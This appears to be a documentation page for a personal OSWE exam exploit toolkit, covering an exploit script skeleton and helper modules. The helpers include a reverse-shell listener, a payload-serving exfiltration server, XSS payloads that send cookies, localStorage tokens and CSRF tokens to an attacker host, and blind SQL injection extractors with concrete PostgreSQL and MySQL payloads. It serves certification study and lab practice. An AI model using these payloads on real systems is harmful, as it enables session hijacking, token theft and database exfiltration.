Use this file to discover all available pages before exploring further.
My helper modules for writing OSWE exploit scripts. Feel free pull what you need into your script for each target. The full toolkit lives in my GitHub repo here:
hkm67/OSWE-Notes
Exploit template plus helper modules for blind SQLi, reverse shells, web callbacks, and WebSocket interfaces.
websocket_helper.py – WebSocket response drainer (targets with WS interfaces)
exploit.py is a barebone skeleton: session setup, argument parsing, and an empty exploit chain. Paste in the helpers the target needs from the other files, then fill in the stage functions.
Provide a known username to skip enumeration/registration
-P / --password
–
Provide a known password to skip brute-forcing
-f / --file
–
File path to read (for targets with LFI or XXE)
--shell
off
Trigger reverse shell stage
--proxy
off
Route all traffic through Burp (127.0.0.1:8080)
-u and -P exist because some stages are slow. Brute-forcing a token can take a few minutes. Once you have the credentials, pass them directly and skip to the stage you’re actually working on.
print_ok("Registered as ABCDEF") # [+] success, extracted valueprint_info("Waiting for callback...") # [*] status updateprint_err("Login failed") # [-] something went wrongprint_stage(2, "Exploit SQLi") # [STAGE 2] ── major step dividerprint_banner("MyExploit") # ══ header at script start
Random generators:
username = generate_random_name() # e.g. "KXQTMHJZAW"password = generate_password() # e.g. "Xk3!mVqZ..." – upper+lower+digit+specialemail = username + "@offsec.exam"
generate_password() always satisfies strict validation policies. It avoids shell-breaking characters (quotes, backslashes) so you can safely embed it in payloads.Regex extraction – pull values out of HTML responses:
# <input type="hidden" name="csrf_token" value="aB3xZ9...">csrf = extract_between_markers(r.text, 'name="csrf_token" value="', '"')# href="/reset?token=XYZ123&expire=..."token = extract_between_markers(r.text, "token=", "&")# All values from a table columnusers = extract_all_between_markers(r.text, "<td>", "</td>")
Uses re.DOTALL, so it works on values that span multiple lines.PowerShell encoder – avoids quoting issues when injecting PS1 through a webshell:
-EncodedCommand expects UTF-16LE base64. Encoding it in Python ensures the command arrives intact regardless of how it’s passed through the delivery mechanism.
Paste start_listener() into your script, run it in a background thread, then trigger the shell:
listener_t = threading.Thread(target=start_listener, args=(lhost, lport), daemon=True)listener_t.start()time.sleep(1)trigger_revshell(...) # your function that calls back to lhost:lportlistener_t.join() # blocks until you exit the session
Two threads: one reads from the socket and prints, the other reads your input and sends. This way neither side blocks the other.Uncomment conn.send(b"\n") inside the function for PowerShell. It kicks the PS1 prompt on connect so you see output immediately.Reverse shell payloads:
One server that does two things: serves files to the victim and captures whatever the victim sends back.Hardcode your payloads as constants at the top of the script, using .replace() for LHOST/LPORT (full credits to rizemon/exploit-writing-for-oswe for this neat trick!):
SERVED_FILES["/payload.js"] = (JS_PAYLOAD, "application/javascript")SERVED_FILES["/evil.dtd"] = (DTD_PAYLOAD, "application/xml-dtd")httpd = start_server(host=lhost, port=wport)inject_payload(...) # trigger the victim to fetch your payloadwhile "/steal" not in EXFIL_DATA: time.sleep(0.5)raw = EXFIL_DATA["/steal"]["b64_cookie"]cookie = base64.b64decode(raw).decode()httpd.shutdown()httpd.server_close()
GET callbacks store query params in EXFIL_DATA[path]. POST callbacks parse JSON or form-encoded bodies into the same dict. CORS headers are set on every response so fetch() in the victim browser works cross-origin.XSS cookie theft:
// Generic img onerror<img src=x onerror="fetch('http://<lhost>/steal?b64_cookie='+btoa(document.cookie))">// svg onload<svg onload="fetch('http://<lhost>/steal?b64_cookie='+btoa(document.cookie))">// Image() object – compact, fits a pure-JS sink with no markupnew Image().src='http://<lhost>/steal?b64_cookie='+btoa(document.cookie)// External script – keep the real payload off the injection point<script src="http://<lhost>/payload.js"></script>// Injected into an image src fielddata:image/jpeg;base64,<base64_jpeg_header>' onerror=fetch('http://<lhost>/steal?b64_cookie='+btoa(document.cookie))
If the session cookie is HttpOnly, cookie theft won’t work. Go after browser storage, scrape the CSRF token, or force admin actions directly instead.Steal tokens from storage (JWT / SPA sessions):
// Dump everything in localStoragefetch('http://<lhost>/steal?ls='+btoa(JSON.stringify(localStorage)))// Grab a specific tokennew Image().src='http://<lhost>/steal?jwt='+localStorage.getItem('token')
Scrape a CSRF token from an admin page (then replay it server-side):
fetch('/admin/settings').then(r => r.text()).then(t => { const m = t.match(/csrf_token.*?value="(.*?)"/); new Image().src = 'http://<lhost>/steal?csrf=' + m[1];});
Force an admin action with the victim’s session (e.g. create an admin user):
Paste extract_string_blind() into your script. The only thing you write is one function, is_correct_char(index, char) -> bool, that returns True when char is correct at position index (1-based). Pass it in and the extractor pulls the whole string:
def is_correct_char(index: int, char: str) -> bool: # Time-based (PostgreSQL) sqli = f"(SELECT CASE WHEN (SUBSTRING((SELECT password FROM users LIMIT 1),{index},1)='{char}') THEN pg_sleep(3) ELSE NULL END)" t0 = time.time() session.get(TARGET + "/search", params={"q": f"' OR {sqli}--"}) return time.time() - t0 >= 3 # Boolean-based (MySQL) – uncomment to use instead # sqli = f"' AND (SELECT SUBSTRING(password,{index},1) FROM users LIMIT 1)='{char}'--" # r = session.get(TARGET + "/search", params={"q": sqli}) # return "Welcome" in r.textresult = extract_string_blind(is_correct_char, length=32, label="password hash")
All (position, character) combinations are submitted at once. The thread pool caps concurrency at max_workers=30. For a 32-char string over a 62-char charset, that’s ~2000 tasks, done in roughly the time it takes to test a single character sequentially.Tune max_workers down if you’re hitting rate limits, up if the target handles the load.
r.status_code # 200, 302, 403 ...r.text # decoded body – use for regexr.json() # parsed JSON dictr.headers["Location"] # specific headerr.cookies.get("PHPSESSID")
Auth bypass check – inspect the 302 before following it:
r = session.post(BASE_URL + "/login", data=creds, allow_redirects=False)if r.status_code == 302 and "/dashboard" in r.headers.get("Location", ""): print_ok("Auth bypass confirmed")
Scrape a CSRF token and persist it:
r = session.get(BASE_URL + "/dashboard")csrf = re.search(r'csrf_token.*?"(.*?)"', r.text).group(1)session.headers.update({"X-CSRF-Token": csrf})
Sanity-check every critical step:
r = session.post(BASE_URL + "/login", data=creds)assert "dashboard" in r.text, f"Login failed ({r.status_code})"
Many apps return HTTP 200 even on failure, so check the response body, not just the status code.Print the outgoing request (useful when something isn’t behaving as expected):
r = session.post(BASE_URL + "/login", data={"user": "admin"})req = r.requestprint(req.method, req.url)print(req.headers)print(req.body)
Useful when developing a blind SQLi payload. It confirms whether your syntax is actually reaching the database or getting rejected earlier in the stack.